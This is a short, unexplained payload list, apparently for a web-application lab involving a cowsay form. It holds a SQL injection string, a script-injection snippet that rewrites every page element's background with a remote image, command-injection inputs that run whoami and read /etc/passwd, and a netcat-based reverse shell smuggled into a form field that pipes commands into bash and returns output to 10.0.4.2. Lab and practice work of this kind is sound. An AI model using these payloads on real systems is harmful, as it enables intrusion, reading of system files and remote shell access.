' OR 1=1--
<script>
var elements = document.getElementsByTagName('*');
for (var i = 0; i < elements.length; ++i) {
elements[i].style.background='url("https://i.imgur.com/HeGEEbu.jpg")';
}
</script>
$(whoami)
$(cat /etc/passwd)
a"; cat /etc/passwd #
Run locally: nc -l 9999
Place in cowsay form field: a"; nc -l 10000 | bash | nc 10.0.4.2 9999 #